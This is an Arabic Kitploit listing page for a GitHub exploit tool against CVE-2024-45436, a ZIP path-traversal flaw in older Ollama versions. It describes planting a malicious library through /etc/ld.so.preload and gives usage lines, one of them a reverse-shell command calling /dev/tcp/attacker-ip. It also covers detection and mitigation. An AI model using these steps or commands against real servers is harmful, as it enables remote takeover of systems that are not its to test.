Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-45436 — سكربت استغلال لـ CVE-2024-45436 | Kitploit
أدوات/GitHubGitHub/srcx404/cve-2024-45436
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubsrcx404/cve-2024-45436

CVE-2024-45436

سكربت استغلال لـ CVE-2024-45436

عرض المستودع
5منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2024-45436 في Ollama

تنفيذ نظيف وفعّال لاستغلال ثغرة اجتياز مسار ZIP في Ollama (CVE-2024-45436). الوثائق الصينية: README_CN.md

وصف الثغرة

CVE-2024-45436 هي ثغرة اجتياز مسار (تُعرف أيضًا باسم "Zip Slip") في إصدارات Ollama السابقة للإصدار 0.1.47. تسمح الثغرة للمهاجمين بكتابة ملفات إلى مواقع عشوائية على نظام الملفات من خلال استغلال التحقق غير السليم من المسارات أثناء عمليات استخراج ملفات ZIP.

يكمن الخلل في دالة extractFromZipFile في ملف model.go الخاص بـ Ollama، وهي الدالة المسؤولة عن استخراج ملفات النماذج. عندما يحتوي ملف ZIP على مدخلات بمسارات تتضمن تسلسلات اجتياز الدليل (../)، يقوم Ollama باستخراج هذه الملفات خارج الدليل المقصود، مما قد يسمح للمهاجم بالكتابة فوق ملفات نظام حرجة.

آلية الاستغلال

يتم استغلال الثغرة من خلال النهج التالي:

  1. إنشاء ملف كائن مشترك خبيث (hook.so) يحتوي على كود تنفيذ أوامر عشوائية
  2. تعبئته في ملف ZIP مُصمم خصيصًا بمدخلات اجتياز مسار:
    • ../../../../../../../../../../etc/ld.so.preload - يُستخدم للتحميل المسبق للكائنات المشتركة المخصصة
    • ../../../../../../../../../../tmp/hook.so - الكائن المشترك الخبيث نفسه
  3. رفع ملف ZIP عبر واجهة برمجة تطبيقات blob الخاصة بـ Ollama
  4. إنشاء نموذج يشير إلى blob المرفوع
  5. تحفيز التنفيذ عن طريق طلب embeddings من Ollama

عند التنفيذ بنجاح، تعمل الحمولة بنفس صلاحيات خدمة Ollama، مما قد يمنح تنفيذ كود عن بُعد بصلاحيات الجذر (root).

المتطلبات

  • Python 3.6+
  • حزم Python المطلوبة:
    • requests
    • argparse
  • GCC (لتجميع الكائن المشترك)
  • نسخة Ollama قابلة للاستغلال (قبل الإصدار 0.1.47) تعمل على Linux

الاستخدام

root@kitploit:~
python exp.py <target_url> <command>

الوسائط

  • target_url: عنوان URL لنسخة Ollama القابلة للاستغلال (مثل http://example.com:11434)
  • command: الأمر الذي سيتم تنفيذه على النظام الهدف

الخيارات

  • --no-cleanup: لا تقم بإزالة الملفات المؤقتة بعد الاستغلال (مفيد لتصحيح الأخطاء)

أمثلة

الاستخدام الأساسي:

root@kitploit:~
python exp.py http://target-server:11434 "id > /tmp/pwned"

قشرة عكسية:

root@kitploit:~
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الاستخدام غير المصرح به ضد الأنظمة دون إذن صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.

الاكتشاف

يمكن للمؤسسات اكتشاف ما إذا كانت معرضة للخطر من خلال:

  1. التحقق من إصدار Ollama الخاص بها عبر /api/version
  2. البحث عن ملفات غير متوقعة في /etc/ld.so.preload أو /tmp/hook.so
  3. مراقبة أنشطة إنشاء النماذج غير المعتادة

التخفيف

  • تحديث Ollama إلى الإصدار 0.1.47 أو أحدث
  • إذا لم يكن التحديث الفوري ممكنًا، قم بتقييد الوصول الشبكي إلى نقاط نهاية واجهة برمجة تطبيقات Ollama
  • تشغيل Ollama بصلاحيات دنيا، وليس بصلاحيات الجذر (root)

التفاصيل التقنية

تستغل الثغرة التحقق غير السليم من المسارات في عملية استخراج ملفات ZIP الخاصة بـ Ollama. عند تحميل نموذج عبر واجهة البرمجة، يستخرج التطبيق الملفات من أرشيف ZIP دون تعقيم مسارات الملفات بشكل صحيح، مما يسمح بهجمات اجتياز الدليل.

يُستخدم ملف ld.so.preload في Linux لتحديد المكتبات المشتركة التي يجب تحميلها قبل جميع المكتبات الأخرى. من خلال الكتابة إلى هذا الملف، يمكن للمهاجم ضمان تحميل مكتبته الخبيثة بواسطة أي عملية جديدة، مما يؤدي إلى اختطاف تنفيذ البرنامج بشكل فعّال.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.

تنزيل الأداة